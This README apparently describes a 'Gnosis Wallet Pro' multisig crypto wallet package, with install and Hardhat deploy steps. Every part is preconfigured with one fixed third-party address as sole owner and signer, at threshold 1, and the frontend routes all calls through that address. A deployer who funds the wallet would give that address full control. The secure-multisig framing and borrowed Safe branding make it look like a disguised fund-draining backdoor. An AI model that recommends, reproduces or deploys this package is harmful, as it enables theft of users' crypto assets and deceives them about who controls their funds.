Gnosis Wallet Pro is an enterprise-grade multi-signature digital wallet for secure crypto asset management. This package contains a ready-to-deploy Solidity contract, deployment script, and TypeScript/React frontend integration—all preconfigured to use the default signer address:
0xFDf84a0e7D07bC56f7De56696fc409704cC83a24
contracts/SafeWallet.sol– Solidity contract for the multisig Safe Walletscripts/deploySafeWallet.ts– Hardhat deployment scriptSafe-wallet/src/utils/signer.ts– TypeScript signer utility for ReactSafe-wallet/src/constants/safeSigner.ts– (Optional) Exported signer address constantaddedsafes.json– Example Safe configuration dataREADME.md/README.html– This documentation
-
Install dependencies
npm install
Make sure Hardhat and ethers are installed for contract deployment.
-
Compile the contract
npx hardhat compile
-
Deploy the contract
npx hardhat run scripts/deploySafeWallet.ts --network YOUR_NETWORK
The contract deploys with owner
0xFDf84a0e7D07bC56f7De56696fc409704cC83a24as the signer. ReplaceYOUR_NETWORKwithmainnet,polygon, etc. -
Frontend Usage
- The frontend will automatically use
0xFDf84a0e7D07bC56f7De56696fc409704cC83a24for all contract interactions. - Example:
import { getSafeSigner } from "./utils/signer";
- The frontend will automatically use
- All contracts and scripts are configured to use:
0xFDf84a0e7D07bC56f7De56696fc409704cC83a24
- Solidity Contract (
contracts/SafeWallet.sol)- Multisig wallet with configurable owners and threshold
- Payable (can receive/send Ether)
- Owner logic defaults to the configured Safe signer
- Deployment Script (
scripts/deploySafeWallet.ts)- Deploys SafeWallet with the Safe signer as owner
- Threshold is set to 1 (single owner) by default, but you can modify for multisig
- React/TypeScript Integration (
Safe-wallet/src/utils/signer.ts)- Ensures all contract calls use the Safe signer as the active account
- Alerts user if wallet is not set to this signer
- GitHub: Gnosis Wallet Pro
- For help, open an issue or contact the maintainer.
✔️ Ready to use. Deploy, configure, and stay safe!